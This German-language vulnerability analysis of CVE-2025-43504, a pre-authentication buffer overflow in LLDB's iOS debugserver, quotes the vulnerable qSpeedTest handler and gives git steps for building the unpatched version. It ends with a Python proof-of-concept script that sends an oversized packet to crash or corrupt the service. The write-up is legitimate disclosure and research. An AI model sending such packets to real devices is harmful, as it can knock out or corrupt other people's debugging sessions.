
Technische Detailanalyse zu CVE-2025-43504, einem globalen Pufferüberlauf vor der Authentifizierung in LLDBs debugserver für iOS, mit PoC-Code und Exploit-Analyse.
In meiner Jugend habe ich immer gerne in den DVD-Kisten bei meinem örtlichen Walmart gestöbert. Mir ist aufgefallen, dass viele der gleichen Filme obenauf lagen, aber wenn man wirklich grub, fand man interessantere und nischenhaftere Titel.
Wenn ein Programm einen Puffer überläuft, greift man im Grunde in dessen Schnäppchenkiste. Je nachdem, wie weit man greift, können sich die DVDs – oder in diesem Fall die überschriebenen Strukturen im Speicher – ändern.
Das heutige Schnäppchen /bin ist CVE-2025-43504: Ein entfernter globaler Pufferüberlauf vor der Authentifizierung, den ich in LLDBs debugserver gefunden habe.
Während der Anwendungsentwicklung müssen Entwickler oft ihre App auf einem physischen iOS-Gerät debuggen. Dazu mountet Xcode ein Developer Disk Image auf dem Ziel-iPhone und koppelt es dann.
Nach der Kopplung kann der macOS-Host mit dem iOS-Client über den auf dem Client installierten debugserver kommunizieren. Nun kann jeder Client, der eine GDB-Remote-Sitzung zum debugserver des Geräts aufbauen kann, den qSpeedTest-Handler erreichen und den anfälligen Puffer überlaufen lassen.
Werfen wir einen Blick auf die Sicherheitsveröffentlichungsseite von Xcode 26.1, um besser zu verstehen, wie Apple CVE-2025-43504 kategorisiert hat:

Aufgrund moderner Software-Gegenmaßnahmen betrachtet Apple Pufferüberläufe hauptsächlich als Denial-of-Service-Problem und nicht als Korruptions-Primitiv. Wie wir heute untersuchen werden, ist dies im Allgemeinen zutreffend, da ein Angreifer mehrere Hürden überwinden und dieses Problem wahrscheinlich mit einem anderen Fehler kombinieren müsste, um beliebigen Code auszuführen.
Wenn Sie mit einer nicht gepatchten Version von debugserver experimentieren möchten, verwenden Sie den folgenden Commit oder einen Commit vor ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Vor dem Patch in RNBRemote.cpp konnte jeder entfernte Benutzer, der eine Verbindung zum debugserver eines iOS-Geräts herstellen konnte, ein qSpeedTest-Paket ohne Authentifizierung an RNBRemote::HandlePacket_qSpeedTest senden und benachbarte Strukturen im globalen Datensegment von debugserver korrumpieren.
Es gibt jedoch einen wichtigen Vorbehalt: Wir kontrollieren nur die Länge der Korruption. Der Inhalt der Nutzlast ist auf einen Strom von 'a'-Zeichen festgelegt. Während Studenten die konstant hohen Noten genießen mögen, ist der praktische Nutzen dieses Überlaufs stark eingeschränkt, da wir nicht die tatsächlich geschriebenen Bytes kontrollieren können – nur wie weit die Flut von 'a's reicht.
Werfen wir nun einen Blick unter die Haube von RNBRemote::HandlePacket_qSpeedTest, um genau zu sehen, was vor sich geht:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Die Aufgabe von RNBRemote::HandlePacket_qSpeedTest() besteht darin, eingehende qSpeedTest:response_size:<hex>;-Pakete zu verarbeiten, ohne dass eine Authentifizierung von einem entfernten Benutzer erforderlich ist, der mit dem debugserver-Binary des iOS-Geräts kommunizieren kann.
Sobald ein entfernter Benutzer jedoch ein qSpeedTest:response_size:<hex>;-Paket an debugserver senden kann, finden in debugserver vor der Verarbeitung der benutzerdefinierten response_size keine Authentifizierungsprüfungen statt. Daher kann jeder Benutzer, der mit einem iOS-Gerät kommunizieren kann, auf dem ein Developer Disk Image gemountet ist, debugserver über ein qSpeedTest:response_size:<hex>;-Paket überlaufen lassen.
Da wir nun die anfällige Funktion RNBRemote::HandlePacket_qSpeedTest() erreicht haben, untersuchen wir genau, wie der Überlauf auftritt. Zunächst wird die vom Benutzer bereitgestellte Größe <hex> im Paket qSpeedTest:response_size:<hex>; extrahiert und in der Variablen response_size gespeichert:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Wenn die Analyse erfolgreich ist und das nächste Zeichen ein Semikolon ist, wird ein funktionslokaler statischer 4 MiB + 16‑Byte-Puffer g_data initialisiert und mit dem ASCII-Header "data:" befüllt:
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Alles zusammenfügend füllt memset dann den statischen 4 MiB + 16‑Byte-Puffer g_data mit 'a' unter Verwendung des benutzergesteuerten response_size-Werts als Anzahl der zu verwendenden 'a's.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Daher tritt immer dann ein Pufferüberlauf auf, wenn ein entfernter LLDB-Client ein qSpeedTest:response_size:<hex>;-Paket mit einer response_size sendet, die größer als der 4 MiB + 16‑Byte-Puffer ist, und korrumpiert benachbarte globale Variablen, die im globalen Datensegment (.bss) von debugserver gespeichert sind.
Nachdem wir die Architektur hinter dem Überlauf verstanden haben, tauchen wir nun in die tatsächliche Mechanik der Sicherheitslücke ein. Beginnen wir mit dem folgenden Python-Programm, um die durch den g_data-Überlauf erlangten Korruptionsprimitive zu erkunden:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass